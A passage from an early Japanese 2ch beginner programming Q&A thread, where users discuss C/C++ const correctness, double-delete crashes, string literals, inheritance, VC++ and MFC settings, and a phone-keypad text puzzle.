出すオブジェクトを変更しないという意味ではないかと思いますが、どう
でしょうか?
 operator==関数(?)にしても、左オペランドのオブジェクトが右オペラン
ドを引数としてコールするんですよね。

 bool は真偽を返すからだと思います。
0587nanacyNGNG
↑でハンドルつけるの忘れてしまった。
>>550っす。

http://www22.tok2.com/home/view2ch/temp/Cpp4.html
ところで、このソースをVC++6.0でコンパイルして実行すると
不正終了してしまいます。どなたか原因わかりませんか?
ソースコード自体は、『独習C++』の解答とほぼ同じなのですが。
#時代遅れのソースなのかな。(^-^;
0588nanacyNGNG
>>586
>const char *getString() const { return m_p; }

でも返り値を constで修飾する意味が分からないです。
これってどういう意味なんでしょう?
0589デフォルトの名無しさんNGNG
>>581
使ってるよ。DOS系の開発でね。
IDEについてはなんもしらんけど、さ。
0590ミトコンドリ子NGNG
長文ゴメンなさいね。

>>586
> 定石では str1 != str2 の場合は、str1 動的メモリを無条件に解放して
>新規で領域確保するってことですね。たしかに、その方が分かりやすいかも
>しれない。

そうね、文字列クラスに関してはnanacy君の最初の実装で良いと思うのよ。
でも将来もっと複雑なクラスの代入を書くことがでてきたときには、thisポインタと比較する
方法が間違いが起こりにくいってことよ。

> bool は真偽を返すからだと思います。
これは正解。intでも問題ないけど、trueかfalseしか返さないことが明確になるから、boolで
書く習慣をつけた方がいいと思うわ。

> 推測ですけど、関数の右側の const は、この関数が、この関数を呼び
>出すオブジェクトを変更しないという意味ではないかと思いますが、どう
>でしょうか?
いいカンしてるわね。
答えを書くのは簡単だけど、nanacy君のレベルにあわせてもう少し厳しくいくわ。

推測じゃなくて、自分で調べてご覧なさい。

VCを使ってるのよね? 知ってると思うけど「ヘルプ」メニューの「検索」を選ぶとMSDNが
開くわ。これで関連すると思うところを調べてご覧なさい。
どんな語句で検索をかければ良いかを体得するのも技術者として必要なスキルだから、
今回のヒントはここまで。


>>587
こういう質問の仕方をするのはダメよ。教えて君逝ってよし って言われるわよ。

どの部分で、どんなエラーが出るのか、自分ではなにを調べて、なにがわかって、なにが
わからないのかをきちんと書きなさい。

たとえば友達がnanacy君の家にはじめて遊びに来るときに、友達から電話がかかってきて
「どう行けばいいの?」としか聞いてこないときと、「いま○○駅の××にいて、もらった
メモだとマックの横の路地を入るって書いてあるけど、マックがふたつあるんだ。どっちの
マックの路地を入ればいいの?」と聞かれるのと、どっちが答えやすい? 質問が明確な方が
答えやすいでしょ。587のnanacy君の質問はあまりに漠然としているわ。

それからバグを探すときには、問題が起こる最小の状態を特定するのがいいのよ。
stringのインスタンスがふたつあるけど、ひとつにしたらバグは消えるのか?
coutへの出力をなくしたら、バグは消えるのか?

デバッガのステップ実行は知ってるかしら? 最初のうちはこの機能を使ってプログラムの
流れを少しずつ追いかけると理解が進むわよ。
知らなかったらMSDNでデバッガの操作方法を調べてごらんなさい。

もう少しいくつか試してもう少し考えてもわからなかったら、また質問なさい。


>>588
char * と const char * の違いがわからない、ってことね。これもMSDNで調べる項目ね。


ちょっと突き放した回答だけど、nanacy君の今までの発言をみているとこのくらいの
レベルでも充分ついてこれると思うわ。自分の力で調べるのはとても大切なことなのよ。
今くらいの初歩的なレベルならアタシみたいに周りに教えられるひとがいることが多いけど、
nanacy君のレベルが上がって行くにしたがって、質問に答えられる人は減ってゆくのよ。
そうすると結局自分で調べて自分で解決するしかなくなるの。それに教えてもらったことより
調べたことの方が身に付くのよ。
期待してるわよ。がんばってね。
0591デフォルトの名無しさんNGNG
ミトコンドリ子とお局って芸風がかぶってる気がするのは気の精でしょうか
0592デフォルトの名無しさんNGNG
ウルトラ初心者だよ。
オラのCの本(book?)にはassertって載ってないだよ。
いったいぜんたいassertってなんだっちゃ?おせーてけろ。
0593デフォルトの名無しさんNGNG
>592

#include <assert.h>
void assert(int expression);

診断用マクロの実行。
int expression==0だとメッセージを出してプログラムを中止する。

つーか、ANSI関数のリファレンスぐらい持っとけ。
http://www.vector.co.jp/soft/maker/lsi/se001169.html
のマニュアルを
http://www.vector.co.jp/soft/dos/prog/se122466.html
で検索するとか。

0594デフォルトの名無しさんNGNG
マジで困ってます。詳しい方教えて下さい。
どちらかいうと、OS寄りの質問ですが..

標準入力からデータを受け取り、処理するプログラムを作ったのですが、

cat 対象ファイル | a.out モード切替引数
だと動くのに、
zcat(gzip -dc ) 対象ファイル.gz | a.out モード切替引数
だと、coreを出して止まります。

a.out 対象ファイル と実行すると、
a.outは内部でsystem(cat 対象ファイル | a.out モード切替引数)を実行します。


OSは
TurboLinux release 4.0 (xxx)
Kernel 2.2.9 on an i586
です。
0595581NGNG
>>589さん

589さんはdos上でwatcom使ってらっしゃるのですか?
わたしはwinでwatcom c/c++ ver11.0jを使っているんですが
IDEを起動しても何をどうすればいいのか分からなくて悩んでます。
K&R2等の参考書に載っているようなソースを打ち込んでコンパイルするには
どうしたらいいのかとか。
新規作成を選んでも、プロジェクトとかターゲットとかが
できちゃって肝心のソースファイルはどこに書けばいいのか分からないんです。
0596デフォルトの名無しさんNGNG
とあるクラスを継承して、基底クラスのメンバ関数をオーバーライドしたのですが
オーバーライドした関数から、継承したプライベートなメンバ変数にアクセス
するにはどうしたらいいんでしょうか?
0597デフォルトの名無しさんNGNG
おっと、596はC十十での話しです。
0598デフォルトの名無しさんNGNG
>596
1. そのメンバ変数用の accessor method を作る。
2. そのメンバ変数を protected にする。
やるんなら 1 がお勧め。
0599デフォルトの名無しさんNGNG
>>598
getxxx/setxxxみたいなメンバ関数を基底クラスのprotectedかpublicに作るんでしょうか?
0600596NGNG
>598
accessor methodというのは何なのでしょうか?
2.はもちろん考えたんですが、「メンバ変数はprivateだ」と学んでしまったために
どうにもやる気が起こりません。洗脳されてしまったようです。
ちなみにfriendでやるのは、へんちくりんなやり方ですか?
0601SAGENGNG
>>600
変。派生クラスに対して friend 使うんじゃあ
何のために protected ってキーワードがあるのかわからんではないか。
0602596NGNG
>600
599がいっているやつ。
friendについては601に賛成。
0603592NGNG
>>593
助かっただよ。
んども、こないなもんどないにつこえばよかとばい?
頻繁に用いんとダメだっぺか?
0604596NGNG
>602
ありがとうございます。わかりました。
そもそも、派生クラスの為に基底クラスにコードを追加するというような状況に陥ること自体クレイジーなんでしょうか?
しかし、何かの処理を追加する為にオーバーライドするのであれば、基底クラスのメンバ変数に絶対触れると思うのですが…。
具体的には、数行追加するだけだから、メンバ変数にアクセスするコードはそっくり残ってます。
0605デフォルトの名無しさんNGNG
>603

http://www.vector.co.jp/soft/maker/lsi/se001169.html

をダウンロードして解凍する。
中に"Lsic86.man"という名前のファイルがある。
その後半がCの関数リファレンスになってるから、ワードパットか何かで開いて、検索してみれば。

0606デフォルトの名無しさんNGNG
個人的にはsetxx やgetxx を派生クラスに対しても用意するのがいいと思います。
メンバ変数名だと、どこで宣言されているものかわかりづらくって・・・
0607602NGNG
>604
そんなことは無いと思う。
むしろ、親クラスは子クラスのことを考えて作成する。

で、この場合は書いたとおり
protected の accessor method さえ作っておけばそれで良いと思うけれど。
0608デフォルトの名無しさんNGNG
半透明ってどうやって作ればいいですか。
1ドットずつ調べては色を調整するわけにもいきませんし、
スマートに処理する方法はあるでしょうか?
0609nanacyNGNG
>>590
どもっす。
厳しいながらも温かみのある回答、ありがとうございました。

const修飾子に関してはマニュアルに載ってました。


>>587の件に関してはもう少し自分でがんばってみます。

一応、詳しい症状としてはデバック版ですと、Debug Assertion failed.
リリース版では以下のようなエラーとなります。

---------------------
CPP2 のページ違反です。
モジュール : CPP2.EXE、アドレス : 0167:00405580
Registers:
EAX=00650078 CS=0167 EIP=00405580 EFLGS=00010206
EBX=0000003f SS=016f ESP=0063fd94 EBP=0063fdb4
ECX=00000100 DS=016f ESI=00000000 FS=514f
EDX=00760ddc ES=016f EDI=40711c00 GS=0000
Bytes at CS:EIP:
89 79 04 8b 4c 13 04 8b 7c 13 08 03 5d f8 89 79
Stack dump:
00000000 00760de0 00530000 0063fe38 006501bc 0000003f 00004100 00000031 0063fe38 00403594 0075000c 0000003f 004089c8 00401f4e 00760de0 00401078
0610SAGENGNG
>>587=609
s1.p と s2.p が2回 delete されちゃってる。
今までのキミの書き込み見てるとたぶんただのタイプミスだろうから、よく見直てみ。

あと、関数への入力専用の引数の時は、
出来る限り const は付けとく方針にしとけい。
0611ミトコンドリ子NGNG
>>609
お疲れさま。自分なりの結果がでたらまた報告してちょうだい。適当にこのスレは
チェックしておくから。
動作不良の直接の原因は610氏のいうとおりよ。
でも回答を見る前に自力でたどり着いてほしいもんだわ。がんばってね。
0612nanacyNGNG
>>610
ああ、そうか。
friend ostream &operator<<(ostream &stream, const string &ob);
という風に参照で渡さないとダメですね。うっかりしてたです。
変更したらうまく動作しました。ありがとうございます。
問題では値渡しでプロトタイプが与えられてたもので、見過ごしてしまいました。
まだまだ知識が不安定ですね。『独習C++』の解答の方も間違ってました。
0613nanacyNGNG
 VC++6.0のデバッカについてですが、実行をトレースする際に
コマンドライン引数を与える方法はあるのでしょうか?
0614nanacyNGNG
一応、ヘルプで検索してみたんですが、よくわからなかったです。
0615ミトコンドリ子NGNG
>>613
「プロジェクト」メニューの「設定」の「デバッグ」タグの「プログラム引数」に入れればOKよ。
0616ジェット尾崎NGNG
ジェットフォームについて物知り博士の情報を求む!

いったい、なんなのか?
ソフトっていったらどこにあるかなど。
つーか、ただの会社名なの?
0617nanacyNGNG
>>615
どもっす。何度もスミマセン。
0618デフォルトの名無しさんNGNG
ジェットストリームアタックについて物知り博士の情報を求む!

いったい、な(以
0619デフォルトの名無しさんNGNG
javaで例外処理がありますが意味がわかりません。例外が起こらないようにプログラムを設計するのが筋ではないのですか?
0620ジェット尾崎NGNG
>618

このオバカやろう!!
ジェットストリームアタックはな、怒武がグラディウスのオプションのごとくまたは金魚の糞のごとく楽しく前進するワザじゃ!エ!コラ!

俺はジェットフォームについて聞きたいんだよ!

次、もしトランスフォームについて〜って言ったヤツはちぎって稚魚の餌にするからな。


>619

こいつもまたオバカやろう!!
ネットワークエラーやメモリのオーバーフローやユーザ操作による実行時の例外などはコンパイル時にはわからんだろうが!
いいか、お前、今日(3/20)はドリフ見ろよ。
0621デフォルトの名無しさんNGNG
Visual Stadioでコンパイル時にエラーのあった行数とその内容が表示されますが、
作業する場所に何行目という表示がないのでソースのどこが何行目か分からず、
不便なのですがどうすればよいでしょうか?
0622nanacyNGNG
>>621
エラーを表示させるウインドウの下(右下)に
カーソルの行数でてると思いますよ。
0623>619NGNG
別スレより。Javaじゃないけど。

Assertは内部バグのチェックコードで100%成功しなければならない。
また、リリース時にはコンパイルオプションによってチェックコードを無効にできる。
Assertにfailした場合、リカバリは困難。
(C/C++の場合はメッセージ吐いて強制終了する。例外を投げるDelphiは例外的:-)

例外をraiseすることはメソッドの仕様であり、
一般に外的要因(設定ファイルが無い、引数にnilが渡された、メモリが足りない)
によって発生し、そのメソッドの呼び出し側がexceptしリカバリする(かまたは無視して終了する)。
0624デフォルトの名無しさんNGNG
>621
ありがとう。ATOKのツールバーで隠れて気づかなかった。
0625619NGNG
>>620
ネットワークエラーは納得できるとして、後ろの二つは強制終了すればいいだけの話だとおもうのですけど。実際メモリのオーバーフローはそうならないようにデバグするのが筋だし、ユーザー操作においても同じだとおもうのですけど・・・
0626デフォルトの名無しさんNGNG
それはあんたが自分ひとりで完結するコードを書いてるから思うんじゃないの?
人が使うライブラリを書いてごらんよ
0627618>ジェット尾崎 NGNG
あんなのにきちんとレスしてくれてありがとう・・。
眠かったものでつい・・・
あ、ジェットフォームについてはしりませんごめんなさい
0628ガNGNG
ブラウザの”×”(閉じる)ボタンを非表示にできません。
JSでもダメみたいっす。どうにか制御できないもんでしょうか?


0629>628NGNG
目をつむれば非表示になるよ
0630デフォルトの名無しさんNGNG
最近元気ないね。もう季節を過ぎたからかな?
0631デフォルトの名無しさんNGNG
すいません、トランスフォームなんですけど・・・(^^;;;

えーと、透視変換と投影変換の違いがわかりません。友人に違うものだと言われて、違いが知りたいんです。(彼の説明はよくわからなかった)

googleで調べてみたんですけど、違いを説明してくれるのは見つからず(x_x)
0632デフォルトの名無しさんNGNG
現在macユーザーです。
Win・Mac共に動くゲーム(最大の目標はRPG。とりあえずADV)を作りたいんですが、
Macだとプログラムを組むのに何のソフトを使うのが良いのでしょうか?
MacよりWIndowsの方がプログラムを組むのに適しているというのは知っていますが、
Win・Macの両方に対応するゲームを作っている方は、
何の機種でどんなソフトを使って、両者のOSに対応できるゲームをつくっているのでしょうか?
熟知してる方、お願いします。
言語はCOBOLとparl、AppleScriptがわかります。
ちなみに、コードウォーリアというソフトが、両者のOS用にコンパイル可能らしいのですが、
このソフトを使用しているんでしょうか?
0633デフォルトの名無しさんNGNG
>632
いまいち不評だけどディレクターもあるよん。
0634名無しさんNGNG
VCを使ってるのですがホンの一瞬処理を止めたい時はどうすればいいのでしょうか?
0635デフォルトの名無しさんNGNG
>VCを使ってるのですがホンの一瞬処理を止めたい時はどうすればいいのでしょうか?

Sleep?
0636デフォルトの名無しさんNGNG
>>632
Javaで作るのがいいんじゃないでしょうか。
開発環境もタダです(Mac版のMRJ SDK使いづらいけど)。
コードウォーリアはクロスコンパイラはついていますが、
両方のOSで動くコードが書けるわけでは無いので注意して下さい。
0637デフォルトの名無しさんNGNG
C++のSTLってなに?
STL覚えないとC++でプログラムつくれないの?
0638デフォルトの名無しさんNGNG
>>637
Cの標準関数みたいなもの(かなり端折っているけど)

STL覚えなくともC++でプログラムつくれるけど、
楽にC++でプログラムつくりたかったらSTLを覚えた方がいい
少なくともvectorぐらいは覚えておいて損はない
0639名無しさんNGNG
>635
ありがとうございました
0640デフォルトの名無しさんNGNG
>>632
サウンドノベルみたいなやつだったら、コミックメーカーという
フリーソフトで作った方が、とりあえず良い物はできそうっす。
プログラムとは違うけど、様子見るのも良いかも。
0641632NGNG
みなさんありがとうございます。
コードウォーリアはOSごとにプログラムを書かなくてはならないんですね。
シェアウェアソフトとして配布している人や、
商業ベースでもこういったものを使っているのか聞きたかったのですが、
本職の方いますか?
Javaで作ったゲームはたしかWeb上での公開しかできませんよね?
配布可能ですか?
0642デフォルトの名無しさんNGNG
>>641 Javaアプリって言葉知ってる?
(一太郎Ark)
http://www.justsystem.co.jp/ark/
0643デフォルトの名無しさん NGNG
WEBにアクセスしてきたユーザの電話番号をログに残す
ことはできるのでしょうか?
0644デフォルトの名無しさんNGNG
>>643 電話番号を入力してもらえばできる。↑のE-mail覧みたく。
つーかそれが出来たら立派なセキュリティホールじゃゴラァ
0645デフォルトの名無しさんNGNG
プログラムを実行しても確認する暇が無いほど
秒速で閉じてしまいますなんででしょうか?
0646デフォルトの名無しさんNGNG
>>645
多分、プログラムをダブルクリックしているからです。

DOS窓から実行するか、

hogehoge ← プログラム名
pause
っていうバッチファイルを作ってバッチファイルを実行してみて下さい

0647nanacyNGNG
>>645
VC++から実行すると「Hit any key」って出るけどね。
0648アクセスについてNGNG
アクセスについて教えてください。

あるフィールドでグループ化すると、カタカナと平仮名を同一のものと
してみなされてしまいます。

グループ化するときに平仮名とカタカナを別のものとみなすにはどのよ
うにすればいいのでしょうか。

宜しくお願いします。
0649nanacyNGNG
押下ってなんてよむの?
広辞苑にも載ってない・・
0650デフォルトの名無しさんNGNG
>>649
「おうか」
0651デフォルトの名無しさんNGNG
>>650
いままで「おしさげ」って読んでた(死
0652ななしNGNG
このプログラムは不正な処理を行ったので強制終了します
となってアプリが閉じてしまうんですけど・・・
この手の質問はどの板でしたらいいのかわからないんで、とりあえずここで
誰か原因教えてください 。詳細は以下のとうりです 。


GASUKE のページ違反です。
モジュール : KERNEL32.DLL、アドレス : 0167:bff88075
Registers:
EAX=c00309e4 CS=0167 EIP=bff88075 EFLGS=00010202
EBX=0080f054 SS=016f ESP=00710000 EBP=00710078
ECX=81659ff4 DS=016f ESI=81672efc FS=667f
EDX=388b5708 ES=016f EDI=00e97284 GS=0000
Bytes at CS:EIP:
ff 75 08 8b 7d 0c 57 ff 75 10 6a 01 e8 ca 07 00
Stack dump:
00e97284 81672efc 0080f054 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000

0653デフォルトの名無しさんNGNG
>652

エラーメッセージの意味はわかんないけど、ほとんどの場合がコードの書き間違い。
とりあえず、プログラムの怪しい部分をコメントアウトしてみろ。
それでエラーが消えれば、コメントアウトした部分のどこかに間違いがあるってこと。
逆にエラーが消えなければ、コメントアウトした部分は間違ってない可能性が高い。
地道に探せ。


0654へっぽこプログラマNGNG
それでも良いけど、ブレークポイント設置したほうが
スマートじゃない?
0655デフォルトの名無しさんNGNG
>>652
ページ違反はアプリケーションに割り当てられたメモリ以外の場所にアクセスを行った場合に発生します.
通常はプログラムのコーディングミスから発生します.

良くあるケースとしては,

・ポインタの初期化し忘れ
・無効なポインタを渡されたにもかかわらず,そのポインタの値を使用した(エラーチェックを行わないと良く起こる)
・ポインタの値を格納している領域を上書きしてしまい,ポインタの値が正しく無くなってしまった

が挙げられます.

あと、ポインタの操作を行う場合にその時点でエラーとして出る場合と終了時出る場合があります。
↑の良くあるケースの例ですとその時点でエラーメッセージを出してくれる場合が多いですがnew,deleteのところで間違っていると終了時にエラーメッセージ出す場合が多いようです。
ちなみに私は、newした順番とdeleteした順番を間違えてこの手のエラーを出したことがあります。
0656652NGNG
皆さんの丁寧なレスはありがたいのですが
プログラミングに関しては超ド素人なので、なにがナンダかで・・・
解決方法を簡単に教えてもらえないでしょうか
0657SAGENGNG
>>656
かなり板違いの感があるが……GASUKEって蔵衛門?

要するに「そのプログラムにはバグがある」ってこと。解決方法と言っても
 ・自作のプログラムなら、>>656を参考に間違ってる箇所を探せ。
 ・他人のプログラムなら作ったヤツに文句付けるなり直させるなりしろ。
くらいしかないネ。
0658デフォルトの名無しさんNGNG
押上
0659652・656NGNG
>>653-655
>>657
ありがとうございます

蔵衛門です。ちなみに他人の <657
0660654NGNG
>>659
なんだそういう事かー。そのソフトどんなのか知らないけど、
ひょっとしたら他のソフトとの相性とかかも知れない。
昔CD焼きのソフト入れたら、勝手にシステムDLL入れ替えたみたいで
VCが強制終了するようになった事があった。
0661初心者NGNG
>4*1,2*1,6*1,3*2,6*2,6*3,3*2
>上記のモノから読みとれるアルファベットは何ですか?
>すべて小文字です。(簡単すぎる・・・)
><ヒント>
>"9*4"は"z"を示します。

某板でこのようなアルゴリズムがクイズになったんですが、
さっぱりわかりません。これからできる文字列を教えてください。
よろしくお願いします。
0662デフォルトの名無しさんNGNG
わからん人には無理だろう。普段使ってないと。
0663デフォルトの名無しさんNGNG
>662
なんなの?気になる。もったいぶらないで。おらにもおせーて。
0664デフォルトの名無しさんNGNG
しかし答えは意味不明
0665デフォルトの名無しさんNGNG
>664さん
その文字列をおせーてください。お願いします。
気になって気になって昨日から寝てないっす(本当)。
0666 NGNG
0667デフォルトの名無しさんNGNG
多分アスキーコードじゃないのかな。

あ、でも、9 * 4 = 36 はアスキーコードだと z じゃないなぁ。
何かひねるのかな。
0668すんませんNGNG
gamenoe
0669デフォルトの名無しさんNGNG
>668さん
ありがとうございます。しかし、これはいったいどういう仕組みなのでせうか?
ASCIIコードと体系が違うのでずっと悩んでしまいました。
できればアルゴリズムも教えてください。色々たのんでばっかですみません。
0670デフォルトの名無しさんNGNG
けーたいでんわ
0671名無しさんNGNG

void main()
{


char* tt= "konnnichiha";
int mozisuu=0;
char mozi = 0x41;

*(tt+mozisuu)=mozi;
}
これをビルドすると不正な処理〜〜と出てくるのですが
なぜでしょう?どなたかどこが悪いのか教えてください
0672デフォルトの名無しさんNGNG
a:2*1 b:2*2 c:2*3
d:3*1 e:3*2 f:3*3
g:4*1 h:4*2 i:4*3
j:5*1 k:5*2 l:5*3
m:6*1 n:6*2 o:6*3

アルゴリズムは、こんな感じかと思ったが・・・
zのあたりまでいくとつじつまが合わないんだけど。
どういうこと??
0673デフォルトの名無しさんNGNG
>>671
文字列リテラル"konnnichiha"の型は、C++では const char[] だから。
文字列リテラルは、書きこみ禁止領域に置かれることが多いらしーよ
0674672NGNG
ちなみにこのアルゴリズムでいくと
z:10*2 になるんだなあ。
0675>671NGNG
char tt[]= "konnnichiha";

こうしたら平気よ
0676デフォルトの名無しさんNGNG
>>672

だから、携帯のメッセージを入力するときのだろって。
0677nanacyNGNG
>>675
その辺の細かい知識を習得する適当なテキストってありますか?
Effective C++ とかには載ってるのかな〜?
0678デフォルトの名無しさんNGNG
VC++6.0で、メニューバーが消えてしまいました。どうやっても戻せません。

ツールバーのカスタマイズを見ると、メニューバーにはチェックがついています。
チェックを外そうとしても外せません。
MSDN見てもよくわかりません。
かなり不便です。助けてください。
0679678NGNG
書き込んだ途端に、いきなり出てきました。
というわけで解決しました。
0680nanacyNGNG
long型ポインタってのはなんでしょうか? long型へのポインタ
だと思ったら、void へのlong型ポインタもあるらしいし・・。

farポインタみたいなのですか?
(まだそんなのあるんですかね?)
0681>680NGNG
32ビットだからLONG型ってなはなし?
LPSTR とかの LP〜のことですか
それならそういうことです。FAR だとか near だとかのころの名残り
ただのポインタすね
0682デフォルトの名無しさんNGNG
そろそろ名無しに戻ります。(^-^;

>>681
どもです。名残りですか。変数のprefixに sz (NULL終了文字列へのポインタ)
と lpsz (NULL終了文字列へのlong型ポインタ) の2つがあるんで、
どうやって使い分けてるのかなぁと思いまして。いまは全部32bitの
ポインタだからlpsz使ってたらいいのかな。

0683デフォルトの名無しさんNGNG
シフトJISで半角カタカナが化ける条件を教えてください
どうやっても化けさせられないです…
0684デフォルトの名無しさんNGNG
>>683
意味不明なんだけど。
暗号化のようなことでもしたいの?
0685名無しさんNGNG
>673,675
できました
ホントにありがとうございました
0686デフォルトの名無しさんNGNG
VC++6.0 IntelliSenseについて質問です。
テンプレートを使ってクラスを書くと、データメンバは表示されるのに
メンバ関数が表示されません。
クラスの中に関数の中身も一緒に書き込むと表示されます。
テンプレートを使わないクラスならばそういったことは起こりません。

STLだと表示されているのでのぞいてみたところ、クラスの時に中身も書いていました。
何か良い方法はありませんか?
0687バード大佐NGNG
昨日VC++買った激初心者です。
みなさんはどうやってプログラムを勉強しましたか?
やっぱりなにか目標ありましたか?
自分はメガデモを作りたいとおもって買いました。
でもいきなりそんなの無理なので、簡単なゲームでも作って
見ようと思ってますが。
0688デフォルトの名無しさんNGNG
>>687
本読みまくりの、ウェブ検索しまくり。

教えてくれる人に頼ってるうちはダメ。
0689デフォルトの名無しさんNGNG
とりあえず「猫でもわかる」に検索でいってみることを勧める
メガデモでMFCってのもないだろうし
0690デフォルトの名無しさんNGNG
Cは独習Cっつー本を終えたばかりです。
そこで質問ですが、C++のように
グラフィカルなアプリケーション作成ってのは
Cでは出来ないのですか?
馬鹿ですんません
0691デフォルトの名無しさんNGNG
>>690
おいらも今勉強中だけど、基本的なAPIはC言語で記述できるらしい。
http://mentai.2ch.net/test/read.cgi?bbs=prog&key=964560144&st=324
この辺、参考にしてちょ。
0692デフォルトの名無しさんNGNG
>690
「WindowsAPI」っていう関数を使えば窓は作れるぞ。
ただし、Cより覚えることは多い。
0693バード大佐NGNG
みなさんresありがとう。
VC++についてきた入門マニュアルはMFC使ったやつしか
書いてなかったので、「猫でもわかるプログラミング」勉強になります。
0694デフォルトの名無しさんNGNG
わたしゃ、Scribbleから入ったので、最初は意味がわからなくて難儀しました。
結局、青いWindowsプログラムの本で、WM_PAINTのもぐらたたきを理解して、
やっと意味がわかるようになりました。
でも、スケルトンの持ち合わせが無いので、もっぱらMFCアプリ書いてます。
ショートカットをアプリアイコンにドロップした時、ターゲットの書類を
開くのとか、スケルトンコードが無いと面倒くさいですよね?
0695デフォルトの名無しさんNGNG
このスレッドに書かれてる質問がとってもウルトラの
付く初心者の質問には思えない・・・と思うのはドキュンの
あたしだけ?
0696デフォルトの名無しさんNGNG
>>695
たしかに初心者じゃない質問が増えています。

初心者じゃない質問に関しては以下にお願いします
(一応、目立つようにageときます)

( ゚Д゚)ノ ギコ猫のプログラム相談室part5
http://piza.2ch.net/test/read.cgi?bbs=tech&key=980521175&ls=50
0697デフォルトの名無しさんNGNG
>>695
まずは、自分で調べろよ。ってのがあるからね。
0698デフォルトの名無しさんNGNG
Af
0699デフォルトの名無しさんNGNG
>>696
どの辺を境界にしたらいいのかわかんないんだよねぇ・・
0700デフォルトの名無しさんNGNG
MFC使っています。
OnOpenFileのハンドラを書くと、Serialize
メソッドが呼ばれなくなるとのことなんですが
呼ばれてしまって困っています。

ひとつのスケルトンをだいぶいじりまわしたので、
どっか壊れてるんじゃないかと思うんですが…
0701690NGNG
>691 692
ありがとうございます。
これからすぐにでも勉強を始めようと思います。
0702デフォルトの名無しさんNGNG
>>692
WindowsAPIは関数じゃないぞ(^^;;;
0703デフォルトの名無しさんNGNG
MacOS X のソースコードを読んでみたいです。
ダウンロードできる所教えて下さい。
0704デフォルトの名無しさんNGNG
>>702
そうなの?
0705デフォルトの名無しさんNGNG
WindowsAPIは「システムコール」とか「C++標準ライブラリ」などと同じ、関数をひとくくりにしてまとめた物の呼び名。

だから、

WindowsAPI( ... )

という関数があるわけではない。
0706703&&模範解答NGNG
おしえてー
0707名無しさんNGNG
なんで配列って変数を使えないんですか?
0708デフォルトの名無しさんNGNG
>>707
どういうこと?

int i; char str[10];
for(i=0;i<10;i++) str[i]='\0';

こういうのできますけど・・
0709デフォルトの名無しさんNGNG
>>707
とりあえず言語名は何だ?

>>708
のようにC/C++,Javaなど多くの言語は配列をサポートしている
0710デフォルトの名無しさんNGNG
>>707
ひょっとして
int size = 10;
int array[size];
みたいなののこと?
0711706NGNG
うおーい だれかー(涙)
0712デフォルトの名無しさんNGNG
>>711
ほらよ、ライセンス良く読めよ
http://www.publicsource.apple.com/
0713デフォルトの名無しさんNGNG
VCのエラーなんですが、
「関数●●はすでに実体を持っています。」
これはどういう意味でしょうか??
0714デフォルトの名無しさんNGNG
わりとまんまな意味だ。
void func(){};
void func(){
return;
};
なんて感じで多重定義してるのが典型
注意深くソースを追えばたいていわかる
0715711NGNG
712さん
さんきゅー♪
0716デフォルトの名無しさんNGNG
なぜDOS窓がすぐ閉じちゃうの?本にはすぐ閉じるなんて描いてないです
実行を2回ダブルクリックもしてませんF9で実行しました。がすぐ閉じてしまいます。
何かコードが足りない?教えてください

#include<stdio,h>
main()
{
printf("文字が表示されてるでしょう?\n");
}

0717SAGENGNG
>>716
まぁ落ち着け。とりあえず開発環境くらい書いとかんとアカンよ。

main() が終わった時点でアプリも終了するわけだから、ある意味
すぐ閉じて当たり前だから気にすんな。( VC++ だと止まってくれるようだが。 )

表示結果を残して起きたきゃ、
DOS窓からコマンド打って実行か、main(){ } の終わりに getchar(); をいれとくべし。
0718デフォルトの名無しさんNGNG
VC++ の「実行」は F5 になってるけど?
0719デフォルトの名無しさんNGNG
そういや、むかしのMSXもF5はRUNだった気がするにゃー
0720デフォルトの名無しさんNGNG
ECMAScriptのライブラリってありやすか?
Javaの実装はFESIってのがあったけど。
0721デフォルトの名無しさんNGNG
開発環境って何???ソフトはC++Builderデス

#include<stdio,h>
main()
{
printf("文字が表示されてるでしょう?\n");
}
getchar();

ってこと?動かない・・・・・????
リンカエラーって何ですか?本に描いてないです。

0722717NGNG
>>721
成程。Builder は F9 なのか。

#include<stdio.h>
main()
{
  printf("文字が表示されてるでしょう?\n");
  getchar();
}
0723デフォルトの名無しさんNGNG
714さん、ありがとう!
そのまんま同じ関数を二つ書いてました。
0724デフォルトの名無しさんNGNG
わからないことがあるんですけど。
VC++6.0で、afxwin.hをインクルードしたら、リンカで
「__beginthreadexが見つからぬ」
というエラーメッセージが表示されました。前のアンダーラインが一個だけの奴なら、どこかのhファイルに定義されてるんですけど。なんででしょう?
ちなみに、エラーメッセージ前にはオブジェクトファイルとライブラリファイルが書かれてました。誰か、解決策を教えてください。
0725この業界から逃出した男NGNG
>>>724
ふふふふ
コンパイラーオプションで、マルチスレッドを選択しましょう。

プロジェクト->設定->C++ ->コード生成 の中の
使用するランタイムライブラリー。
って奴。

0726デフォルトの名無しさんNGNG
>>725
イヤなハンドルですな。(笑
0727デフォルトの名無しさんNGNG
あう。
今度は、
「LIBCMT" は他のライブラリの使用と競合しています; /NODEFAULTLIB:library を使用してください」
というのが出ました。なんででしょう?私は呪われているのでしょうか。
0728デフォルトの名無しさんNGNG
クラスAとクラスBを多重継承してクラスCを作るのと、
クラスAを継承してBを作り、Bを継承してCを作るのとでは、同じですか?
0729デフォルトの名無しさんNGNG
ちがう。
0730728NGNG
確かに違うでしょうが、結果としてクラスCの動作は同じにはなりませんか?
0731デフォルトの名無しさんNGNG
>>730
視野が狭い。
・アクセスレベルの問題
・多重継承そのもののリスク
・クラス階層構造の整合性の問題

経験からいうと、実装継承なんかできるだけするな。
可能な限りコンポジションで済ませろ。
0732デフォルトの名無しさんNGNG
>>730
違う。
後者の場合
将来、クラスCの派生クラスをつくったり、
クラスCに基本クラスを追加した時。
A、Bのメンバ参照が曖昧になる可能性がある。
しかし前者に比べてオーバーヘッドが軽い。
単体でクラスCを使う分には問題無い。
0733729NGNG
・コンストラクタ、デストラクタの呼び順が怖い

・多重継承の場合、class Aとclass Bは互いに独立してる。
class Bがclass Aを継承してるときは、class Bがclass A の非privateメンバに触る事が出来る
当たり前のことだけど、結構重要(経験談)
0734デフォルトの名無しさんNGNG
クラスBが別物になるのでメリットは無い
0735デフォルトの名無しさんNGNG
 VC++6.0付属のMSDNライブラリに関してなのですが、CreateWindow関数を検索して
プラットフォームSDKというところにあるらしいのですが、目次からたどっていっ
ても、その関数が発見できません。この目次ってすべてを網羅しているわけでは
ないのでしょうか? 検索からの直飛びだと、他の関数との関連性がわからないので・・。

0736デフォルトの名無しさんNGNG
>>735
付属の奴はリンクが腐ってる。
リンクだけ日本語化されてて実体が無かったり(英語で引けるならまだいい)
0737デフォルトの名無しさんNGNG
>>735
